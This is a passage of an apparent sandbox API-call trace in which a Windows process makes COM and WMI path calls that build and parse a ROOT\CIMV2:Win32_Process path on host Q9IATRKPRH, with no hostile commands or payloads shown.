WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0137.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0137.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc89190) returned 0x0 [0137.515] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89190, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.515] WbemDefPath:IUnknown:Release (This=0x1bc89190) returned 0x3 [0137.515] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0137.515] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0137.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0137.516] WbemDefPath:IUnknown:Release (This=0x1bc93df0) returned 0x2 [0137.516] WbemDefPath:IUnknown:Release (This=0x1bc93df0) returned 0x1 [0137.516] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0137.516] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0137.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc93df0) returned 0x0 [0137.516] WbemDefPath:IUnknown:AddRef (This=0x1bc93df0) returned 0x3 [0137.516] WbemDefPath:IUnknown:Release (This=0x1bc93df0) returned 0x2 [0137.516] WbemDefPath:IWbemPath:SetText (This=0x1bc93df0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0137.516] IWbemClassObject:Get (in: This=0x1bc773b0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0137.516] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.516] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.517] IWbemClassObject:Get (in: This=0x1bc773b0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0137.517] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0137.517] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0137.517] IWbemClassObject:Get (in: This=0x1bc773b0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0137.517] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0137.517] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0137.517] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0137.517] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0137.517] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0137.517] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.519] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc89330) returned 0x0 [0137.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89330, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0137.520] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89330, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc93eb0) returned 0x0 [0137.520] WbemDefPath:IUnknown:Release (This=0x1bc89330) returned 0x0 [0137.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc93eb0) returned 0x0 [0137.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0137.520] WbemDefPath:IUnknown:AddRef (This=0x1bc93eb0) returned 0x3 [0137.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0137.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0137.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc89370) returned 0x0 [0137.520] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89370, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.520] WbemDefPath:IUnknown:Release (This=0x1bc89370) returned 0x3 [0137.520] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0137.520] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0137.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0137.521] WbemDefPath:IUnknown:Release (This=0x1bc93eb0) returned 0x2 [0137.521] WbemDefPath:IUnknown:Release (This=0x1bc93eb0) returned 0x1 [0137.521] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0137.521] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0137.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc93eb0) returned 0x0 [0137.521] WbemDefPath:IUnknown:AddRef (This=0x1bc93eb0) returned 0x3 [0137.521] WbemDefPath:IUnknown:Release (This=0x1bc93eb0) returned 0x2 [0137.521] WbemDefPath:IWbemPath:SetText (This=0x1bc93eb0, uMode=0x4, pszPath="") returned 0x0 [0137.521] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0137.521] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0137.521] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0137.521] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.523] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc89330) returned 0x0 [0137.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89330, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0137.523] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89330, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc93f70) returned 0x0 [0137.523] WbemDefPath:IUnknown:Release (This=0x1bc89330) returned 0x0 [0137.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc93f70) returned 0x0 [0137.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0137.524] WbemDefPath:IUnknown:AddRef (This=0x1bc93f70) returned 0x3 [0137.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0137.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0137.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc893b0) returned 0x0 [0137.524] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc893b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.524] WbemDefPath:IUnknown:Release (This=0x1bc893b0) returned 0x3 [0137.524] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0137.524] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0137.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0137.524] WbemDefPath:IUnknown:Release (This=0x1bc93f70) returned 0x2 [0137.524] WbemDefPath:IUnknown:Release (This=0x1bc93f70) returned 0x1 [0137.524] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0137.524] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0137.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc93f70) returned 0x0 [0137.524] WbemDefPath:IUnknown:AddRef (This=0x1bc93f70) returned 0x3 [0137.525] WbemDefPath:IUnknown:Release (This=0x1bc93f70) returned 0x2 [0137.525] WbemDefPath:IWbemPath:SetText (This=0x1bc93f70, uMode=0x4, pszPath="") returned 0x0 [0137.525] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93f70, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0137.525] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93eb0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0137.525] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc93f70, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0137.525] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc93f70, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0137.525] WbemDefPath:IWbemPath:SetServer (This=0x1bc93f70, Name="Q9IATRKPRH") returned 0x0 [0137.525] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0137.525] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0137.525] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0137.525] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.527] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc893d0) returned 0x0 [0137.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc893d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0137.527] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc893d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94030) returned 0x0 [0137.527] WbemDefPath:IUnknown:Release (This=0x1bc893d0) returned 0x0 [0137.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94030) returned 0x0 [0137.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0137.528] WbemDefPath:IUnknown:AddRef (This=0x1bc94030) returned 0x3 [0137.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0137.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0137.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc89410) returned 0x0 [0137.528] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89410, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.528] WbemDefPath:IUnknown:Release (This=0x1bc89410) returned 0x3 [0137.528] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0137.528] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0137.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0137.528] WbemDefPath:IUnknown:Release (This=0x1bc94030) returned 0x2 [0137.528] WbemDefPath:IUnknown:Release (This=0x1bc94030) returned 0x1 [0137.528] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0137.528] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0137.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94030) returned 0x0 [0137.529] WbemDefPath:IUnknown:AddRef (This=0x1bc94030) returned 0x3 [0137.529] WbemDefPath:IUnknown:Release (This=0x1bc94030) returned 0x2 [0137.529] WbemDefPath:IWbemPath:SetText (This=0x1bc94030, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93f70, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94030, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94030, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94030, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0137.529] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc93f70) returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94030, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94030, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94030, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0137.529] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc93f70, uIndex=0x0, pszName="ROOT") returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94030, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94030, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, 